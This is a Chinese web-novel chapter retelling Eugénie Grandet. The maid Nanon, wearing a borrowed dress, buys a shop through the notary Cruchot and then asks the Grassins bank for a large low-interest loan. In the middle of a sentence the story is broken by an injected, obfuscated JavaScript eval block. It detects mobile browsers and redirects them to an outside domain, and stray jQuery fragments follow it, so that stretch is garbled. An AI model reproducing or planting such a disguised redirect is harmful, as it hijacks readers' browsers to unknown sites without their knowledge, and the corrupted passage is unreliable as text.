索漠城公证人事务所的橡木大门被轻轻推开，一男一女走了进来，阳光透过彩绘玻璃窗洒在深色的地板上，拖出两人拉长的背影。


    公证人克罗旭懒洋洋地坐在橡木办公桌后面，他常年穿着同一件“法典黑”呢绒礼服，肘部已磨出青灰色的镜面光泽却坚持不换——前襟钉着镀金铜纽扣，刻有‘法律’两个字样，但最下面两颗永远敞开，露出沾了鼻烟渍的亚麻衬衣。


    袖口的衬衣还镶着粒冒充钻石的莱茵石，克罗旭最喜欢在展开文件时的时候抖动手腕：一抖展平羊皮纸，二抖震落灰尘，三抖让火漆印和莱茵石在阳光下反光，这种光芒让人迷醉。


    当然，作为公证人，为了显出自己的专业来，事务所内橡木书桌的左上角永远摆着三部法典：最上是崭新的《法典》展示本，中间是翻烂的《税收判例集》，底层藏着手抄本《高利贷利息换算表》——墨水台则有趣地做成迷你绞刑架的造型，绞索弯钩正好挂笔。


    看到委托人，克罗旭放下鼻烟壶站了起来，微微欠身，目光在两个人身上停留了一瞬。


    很快他发现男的他认识，是维埃尔大街上‘安托万香水行’的主人安托万，而女的他就不熟悉了，因为后者头上戴了一顶宽檐麦秆帽，斜插一根蓝腹鸟的羽毛，帽檐垂下三寸长，帽带在下巴处系成蝴蝶结。


    既然看不清面容的话，也不妨克罗旭通过自己丰富的经验揣测一下这个女人的身价，她的上衣是褪色玫瑰红的印度细棉布，染着东方植物染料特有的不均匀斑驳，领口堆叠一层布鲁塞尔蕾丝，下边则只有一件深棕色羊毛裙，看起来硬得像铜板。


    应该有一些积蓄，但也不会太多——很简单，女人和男人不一样，女人有钱了一定会装点自己，男人多的是手握巨额财富，却仍保持着外省人的简朴。


    就见安托万从钱袋中取出地契和协议，整齐地摆在桌上。


    “这是转让协议，麻烦克罗旭先生您过目一下，如果没什么问题的话，”安托万咳了一声：“我那家维埃尔大街的店铺，从今天开始就不属于我了——”


    公证人克罗旭戴上眼镜，仔细审阅了一下地契，用羽毛笔在羊皮纸上做了些批注，很快他又展开了契约，清了清嗓子，开始宣读条款：“根据双方协商，香水商人安托万勒菲弗先生自愿将其位于维埃尔大街第7号店铺，连同店内现存装饰展架，以三千八百法郎的价格转让拿侬??科尔努瓦女士……”


    他在这个名字上略微停顿了一下，似乎觉得有那么一点奇怪的熟悉，但脑海中仔细搜寻一番下来却一无所获。


    这位科尔努瓦女士的姿态始终平静，偶尔在关键处轻轻点头，让克罗旭看不出什么。


    当公证人克罗旭念到“已付全款”时，安托万忍不住插嘴：“科尔努瓦女士真是一位非常果断而有实力的女士呢！当然我的店铺位置优越、人流量大也是优势，不然我预估还要等几个月才能把铺子卖出去呢！”


    克罗旭检查了一番，觉得没什么问题之后，便盖上了公证人的印章：“条款清晰，价格公允，交易完成，”


    克罗旭最终宣布，“只需双方签字，交易即刻生效。”


    安托万接过钢笔，在协议上匆匆写下自己的名字，笔迹略显颤抖，而另一位委托人拿侬女士则接过笔，不疾不徐地签下名字，字迹工整而有力。


    克罗旭满意地盖上印章，将一份副本分别交给两人，并对女士示意了一下：“恭喜您，科尔努瓦小姐，从今日起，维埃尔的这间店铺就属于您了。”


    克罗旭露出标志性的笑容：“在此之前，按照规定，我需要收取公证费用，一个金路易——这是索漠城童叟无欺的价格。”


    这笔钱按规矩是买家付，话音未落，就见女士从她上衣的口袋里掏出一个金路易来，放在了《法典》的封面上方。


    “您真是慷慨大方，令人钦佩。”


    克罗旭肉眼可见地高兴起来：“愿上帝保佑您，女士，您一定家庭和睦、婚姻美满、万事如意。”


    “不如保佑我的事业，”这位女士开了尊口，声音出乎意料地沙哑，而她的说辞也出乎意料地令人惊讶：“我希望公证人你将我视同男人一样送出祝愿，为广进的钱财和恢弘的事业才是立身之本。”


    克罗旭回过神来，附和道：“确实如此，确实如此，我不该低估一个女人的雄心，看到您的帽子我就想起来巴黎最有名的衣帽匠，不是男人，而是个女人——但她做出了全法兰西最好的帽子，不光是我们的皇帝，就连帝国的海军也戴着她设计的出来的军帽。”


    在克罗旭半真半假的恭维下，这位看不出年纪的女人微微颔首，将协议和地契仔细折好，收入钱袋。她站起身，向公证人和安托万各施一礼，随即转身离去，步伐沉稳而从容。


    事务所里，克罗旭注视着女人远去的背影，“你知道她的具体身份吗安托万？真奇怪，我想我几乎看走了眼，她一次付的清四千法郎，却不舍得换一条合适的裙子，而我见过太多女人天天在裁缝铺里花里胡哨地改款裙子，却连下个月的生活费都掏不出来。”


    “没错，克罗旭先生，店铺买卖是常有的事，但像科尔努瓦小姐这样的买家，可不多见，实际上她第一次出现在我店铺的时候我也很惊讶，”安托万达成交易心情大好，“她穿得比今天还要朴素，甚至拮据的样子！根本不知道她如此有实力！我还险些把她看做一个有钱老爷家的仆人，在大街上走丢了的那种！”


    拿侬走出公证人事务所，暗暗松了口气，她捏着自己不太合适尤其是腰身那里颇显局促的裙子——这是从葛朗台太太那里借的，甚至今天特意带上的宽帽子，为的就是不被轻易认出来。


    谁敢相信，葛朗台家的女仆竟然能拿得出四千法郎，购买大街上的商铺？


    而这商铺的启动资金，竟然来自葛朗台女儿的慷慨资助——当然拿侬下定决心肯定要还的，而且要在葛朗台没有发现之前还上，拿侬忽然想到如果葛朗台知道了会怎么样——


    “……怕是要从阁楼上跳下来。”


    她低声自语，嘴角浮现出一丝几不可察的笑意。


    “但这一次，钱花得值。”


    她紧了紧帽檐，换了个方向，向中央大街走去。


    ……


    “女士，贷款去三楼！”一个戴铜框眼镜的职员头也不抬，蘸水笔尖戳向旋转楼梯方向。


    格拉桑银行里，几乎没有人关注拿侬的着装，每个人都被成摞的指券和纸币吸引，而拿侬走上三楼，就看到几个信贷主管的办公室不约而同弥漫着硝石味——


    “去年利润仅400法郎？”信贷经理人冷冷地看着借贷人：“恕我直言，这抵押不了。”


    借贷人的喉结滚动了一下：“我可以追加妻子的嫁妆——里昂的丝绸作坊股份，但需要三个月才能……”


    “三个月？这可不行……”


    拿侬默不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569716|171364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作声地绕过两个办公室，然后惊喜地看到最后一个办公室的借贷经理人她认识，正是上次帮她查清账户数额以及取钱的柜员罗姆。


    “看样子你升职了，罗姆先生，”拿侬一屁股坐在了他对面的椅子上：“太好了，我预感今天我绝不会白来，我一定能达成所愿。”


    “女士，您有点太自来熟了，我也没想到我升职第一天，遇到的第一个客户……会是您，科尔努瓦小姐。”


    罗姆还是那副冷冰冰的样子，但不知道为什么拿侬就是能从他这张臭脸下看到他跟银行其他人不一样的东西。


    “这一次您来办理什么业务呢？”


    罗姆其实不太相信这个这个叫拿侬的庄园女仆有什么资格或者有什么积蓄，能让她办理超越身份的业务——三楼可是信贷业务的办理处，数额至少2000法郎起步。


    然而这女人就是来办理这个的：“我要贷款，就是你们格拉桑银行几个月前推出的那个，低息贷款业务。”


    拿侬似乎有所准备，单刀直入地问道：“你们所说的低息贷款，最低多少利息？”


    罗姆就道：“看具体借贷数额，一般利率在百分之四，女士，最低额度，童叟无……”


    “骗人，”他看到对面这个身材高大的女人莫名其妙笑了一下，然后伸出骨节粗大的手，两根指头晃了晃：“你们格拉桑银行最低贷款利率是百分之二，别以为我不知道。”


    就在欧也妮生日那天，克罗旭和格拉桑两大家族大驾光临，在吃完饭后的餐桌上他们谈论了法国的国运、奥地利的公主之外，当然还谈论了他们自己——格拉桑先生当然也不遗余力地推销起了银行最新的业务，而拿侬听到的最低贷款利率就是百分之二。


    罗姆看起来脸色很差：“绝不可能，女士！我们绝不可能有这么低的借贷利率！我们连本都赚不回来！”


    拿侬不动声色地看着他，一副胸有成竹的样子。


    果然对面最先按耐不住：“您要知道，相对其他银行给出的6%到12%的高利贷而言，我们银行给出的4%的优惠利率前所未有，您说的2%的利率，几乎没有人能拿到，”


    就听罗姆道：“那是面向军队供应商的，如武器商、粮食供应商等军需承包商才能从我们银行获得这笔低息贷款，因为他们的生意直接支持战争。”


    拿侬：“其他人不可以吗？这个数字只优惠给军队吗？”


    罗姆摇头：“或者您拥有办理贷款所抵押的东西极其优质，如巴黎核心地段的不动产、黄金、政府债券等，才可能给出这个利率。”


    话音未落拿侬笑了起来，“我没有巴黎的不动产，只有索漠城的不动产，你看看这个位置的店铺，能抵押多少钱出来？”


    罗姆接过地契，“这是索漠城维埃尔大街7号商铺，价格大概在三千到五千法郎之间，我需要审核一下……女士，这份地契可以帮您获得优惠贷款，至于4%还是2%，我们还可以再谈谈，对了，您要贷多少钱呢？”


    罗姆拨了一下镀金算盘，他确实没想到这个前几天还只能从账户支取八百法郎的女人，今天居然就有了地契——


    但显然，他看走眼了这个女人的实力，如果真的是优质客户的话，2%的利率他不是不能给，他手里有这样的名额，虽然只有三个，但他确实有。


    就听对面给出了一个他几乎想象不到的数字。


    “我需要五万法郎的贷款。”